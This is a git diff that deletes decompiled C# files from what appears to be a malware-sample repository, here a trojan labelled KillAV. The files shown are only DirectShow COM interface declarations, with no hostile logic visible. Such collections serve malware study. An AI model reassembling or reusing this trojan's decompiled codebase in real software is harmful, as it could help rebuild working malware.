[MethodImpl(MethodImplOptions.PreserveSig)] - int Run(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Pause(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Stop(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetState(int msTimeout, out int pfs); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int RenderFile(string strFilename); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int AddSourceFilter([In] string strFilename, [MarshalAs(UnmanagedType.IDispatch)] out object ppUnk); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_FilterCollection([MarshalAs(UnmanagedType.IDispatch)] out object ppUnk); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_RegFilterCollection([MarshalAs(UnmanagedType.IDispatch)] out object ppUnk); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int StopWhenReady(); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IMediaEvent.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IMediaEvent.cs deleted file mode 100644 index f13230a5..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IMediaEvent.cs +++ /dev/null @@ -1,37 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IMediaEvent -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(true)] - [Guid("56a868b6-0ad4-11ce-b03a-0020af0ba770")] - [InterfaceType(ComInterfaceType.InterfaceIsDual)] - [ComImport] - public interface IMediaEvent - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetEventHandle(out IntPtr hEvent); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetEvent(out DsEvCode lEventCode, out int lParam1, out int lParam2, int msTimeout); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int WaitForCompletion(int msTimeout, out int pEvCode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int CancelDefaultHandling(int lEvCode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int RestoreDefaultHandling(int lEvCode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int FreeEventParams(DsEvCode lEvCode, int lParam1, int lParam2); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IMediaEventEx.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IMediaEventEx.cs deleted file mode 100644 index 14942713..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IMediaEventEx.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IMediaEventEx -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsDual)] - [ComVisible(true)] - [Guid("56a868c0-0ad4-11ce-b03a-0020af0ba770")] - [ComImport] - public interface IMediaEventEx - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetEventHandle(out IntPtr hEvent); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetEvent(out DsEvCode lEventCode, out int lParam1, out int lParam2, int msTimeout); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int WaitForCompletion(int msTimeout, out int pEvCode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int CancelDefaultHandling(int lEvCode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int RestoreDefaultHandling(int lEvCode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int FreeEventParams(DsEvCode lEvCode, int lParam1, int lParam2); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetNotifyWindow(IntPtr hwnd, int lMsg, IntPtr lInstanceData); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetNotifyFlags(int lNoNotifyFlags); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetNotifyFlags(out int lplNoNotifyFlags); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IMediaFilter.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IMediaFilter.cs deleted file mode 100644 index 53ba55b2..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IMediaFilter.cs +++ /dev/null @@ -1,40 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IMediaFilter -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(true)] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("56a86899-0ad4-11ce-b03a-0020af0ba770")] - [ComImport] - public interface IMediaFilter - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetClassID(out Guid pClassID); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Stop(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Pause(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Run(long tStart); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetState(int dwMilliSecsTimeout, out int filtState); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetSyncSource([In] IReferenceClock pClock); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetSyncSource(out IReferenceClock pClock); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IMediaPosition.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IMediaPosition.cs deleted file mode 100644 index b9a47f30..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IMediaPosition.cs +++ /dev/null @@ -1,51 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IMediaPosition -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [Guid("56a868b2-0ad4-11ce-b03a-0020af0ba770")] - [InterfaceType(ComInterfaceType.InterfaceIsDual)] - [ComVisible(true)] - [ComImport] - public interface IMediaPosition - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Duration(out double pLength); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_CurrentPosition(double llTime); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_CurrentPosition(out double pllTime); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_StopTime(out double pllTime); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_StopTime(double llTime); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_PrerollTime(out double pllTime); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_PrerollTime(double llTime); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_Rate(double dRate); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Rate(out double pdRate); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int CanSeekForward(out int pCanSeekForward); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int CanSeekBackward(out int pCanSeekBackward); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IMediaSample.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IMediaSample.cs deleted file mode 100644 index 08262615..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IMediaSample.cs +++ /dev/null @@ -1,67 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IMediaSample -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [Guid("56a8689a-0ad4-11ce-b03a-0020af0ba770")] - [ComVisible(true)] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - public interface IMediaSample - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetPointer(out IntPtr ppBuffer); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetSize(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetTime(out long pTimeStart, out long pTimeEnd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetTime([MarshalAs(UnmanagedType.LPStruct), In] DsOptInt64 pTimeStart, [MarshalAs(UnmanagedType.LPStruct), In] DsOptInt64 pTimeEnd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int IsSyncPoint(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetSyncPoint([MarshalAs(UnmanagedType.Bool), In] bool bIsSyncPoint); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int IsPreroll(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetPreroll([MarshalAs(UnmanagedType.Bool), In] bool bIsPreroll); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetActualDataLength(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetActualDataLength(int len); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetMediaType([MarshalAs(UnmanagedType.LPStruct)] out AMMediaType ppMediaType); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetMediaType([MarshalAs(UnmanagedType.LPStruct), In] AMMediaType pMediaType); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int IsDiscontinuity(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetDiscontinuity([MarshalAs(UnmanagedType.Bool), In] bool bDiscontinuity); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetMediaTime(out long pTimeStart, out long pTimeEnd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetMediaTime([MarshalAs(UnmanagedType.LPStruct), In] DsOptInt64 pTimeStart, [MarshalAs(UnmanagedType.LPStruct), In] DsOptInt64 pTimeEnd); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IMediaSeeking.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IMediaSeeking.cs deleted file mode 100644 index bc7b8f3e..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IMediaSeeking.cs +++ /dev/null @@ -1,78 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IMediaSeeking -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("36b73880-c2c8-11cf-8b46-00805f6cef60")] - [ComVisible(true)] - [ComImport] - public interface IMediaSeeking - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCapabilities(out SeekingCapabilities pCapabilities); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int CheckCapabilities([In, Out] ref SeekingCapabilities pCapabilities); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int IsFormatSupported([In] ref Guid pFormat); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int QueryPreferredFormat(out Guid pFormat); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetTimeFormat(out Guid pFormat); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int IsUsingTimeFormat([In] ref Guid pFormat); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetTimeFormat([In] ref Guid pFormat); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDuration(out long pDuration); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetStopPosition(out long pStop); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCurrentPosition(out long pCurrent); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int ConvertTimeFormat( - out long pTarget, - [In] ref Guid pTargetFormat, - long Source, - [In] ref Guid pSourceFormat); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetPositions( - [MarshalAs(UnmanagedType.LPStruct), In, Out] DsOptInt64 pCurrent, - SeekingFlags dwCurrentFlags, - [MarshalAs(UnmanagedType.LPStruct), In, Out] DsOptInt64 pStop, - SeekingFlags dwStopFlags); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetPositions(out long pCurrent, out long pStop); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetAvailable(out long pEarliest, out long pLatest); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetRate(double dRate); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetRate(out double pdRate); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetPreroll(out long pllPreroll); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IPersist.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IPersist.cs deleted file mode 100644 index f5b515d2..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IPersist.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IPersist -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(true)] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("0000010c-0000-0000-C000-000000000046")] - [ComImport] - public interface IPersist - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetClassID(out Guid pClassID); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IPersistStream.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IPersistStream.cs deleted file mode 100644 index fb31a47a..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IPersistStream.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IPersistStream -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComVisible(true)] - [Guid("0000010c-0000-0000-C000-000000000046")] - [ComImport] - public interface IPersistStream - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetClassID(out Guid pClassID); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IPin.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IPin.cs deleted file mode 100644 index 0f7378a5..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IPin.cs +++ /dev/null @@ -1,64 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IPin -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComVisible(true)] - [Guid("56a86891-0ad4-11ce-b03a-0020af0ba770")] - [ComImport] - public interface IPin - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int Connect([In] IPin pReceivePin, [MarshalAs(UnmanagedType.LPStruct), In] AMMediaType pmt); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int ReceiveConnection([In] IPin pReceivePin, [MarshalAs(UnmanagedType.LPStruct), In] AMMediaType pmt); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Disconnect(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int ConnectedTo(out IPin ppPin); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int ConnectionMediaType([MarshalAs(UnmanagedType.LPStruct), Out] AMMediaType pmt); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int QueryPinInfo(out PinInfo pInfo); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int QueryDirection(out PinDirection pPinDir); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int QueryId([MarshalAs(UnmanagedType.LPWStr)] out string Id); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int QueryAccept([MarshalAs(UnmanagedType.LPStruct), In] AMMediaType pmt); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int EnumMediaTypes(IntPtr ppEnum); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int QueryInternalConnections(IntPtr apPin, [In, Out] ref int nPin); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int EndOfStream(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int BeginFlush(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int EndFlush(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int NewSegment(long tStart, long tStop, double dRate); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IReferenceClock.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IReferenceClock.cs deleted file mode 100644 index 020c0b46..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IReferenceClock.cs +++ /dev/null @@ -1,35 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IReferenceClock -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("56a86897-0ad4-11ce-b03a-0020af0ba770")] - [ComVisible(true)] - [ComImport] - public interface IReferenceClock - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetTime(out long pTime); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int AdviseTime(long baseTime, long streamTime, IntPtr hEvent, out int pdwAdviseCookie); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int AdvisePeriodic( - long startTime, - long periodTime, - IntPtr hSemaphore, - out int pdwAdviseCookie); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Unadvise(int dwAdviseCookie); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/ISampleGrabber.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/ISampleGrabber.cs deleted file mode 100644 index c4ab1d94..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/ISampleGrabber.cs +++ /dev/null @@ -1,40 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.ISampleGrabber -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [Guid("6B652FFF-11FE-4fce-92AD-0266B5D7C78F")] - [ComVisible(true)] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - public interface ISampleGrabber - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetOneShot([MarshalAs(UnmanagedType.Bool), In] bool OneShot); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetMediaType([MarshalAs(UnmanagedType.LPStruct), In] AMMediaType pmt); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetConnectedMediaType([MarshalAs(UnmanagedType.LPStruct), Out] AMMediaType pmt); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetBufferSamples([MarshalAs(UnmanagedType.Bool), In] bool BufferThem); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCurrentBuffer(ref int pBufferSize, IntPtr pBuffer); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCurrentSample(IntPtr ppSample); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetCallback(ISampleGrabberCB pCallback, int WhichMethodToCallback); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/ISampleGrabberCB.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/ISampleGrabberCB.cs deleted file mode 100644 index db8879fe..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/ISampleGrabberCB.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.ISampleGrabberCB -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(true)] - [Guid("0579154A-2B53-4994-B0D0-E773148EFF85")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - public interface ISampleGrabberCB - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int SampleCB(double SampleTime, IMediaSample pSample); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int BufferCB(double SampleTime, IntPtr pBuffer, int BufferLen); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/ISpecifyPropertyPages.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/ISpecifyPropertyPages.cs deleted file mode 100644 index 8e7f3794..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/ISpecifyPropertyPages.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.ISpecifyPropertyPages -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(true)] - [Guid("B196B28B-BAB4-101A-B69C-00AA00341D07")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - public interface ISpecifyPropertyPages - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetPages(out DsCAUUID pPages); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IVMRFilterConfig.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IVMRFilterConfig.cs deleted file mode 100644 index 45ce1c45..00000000 --- 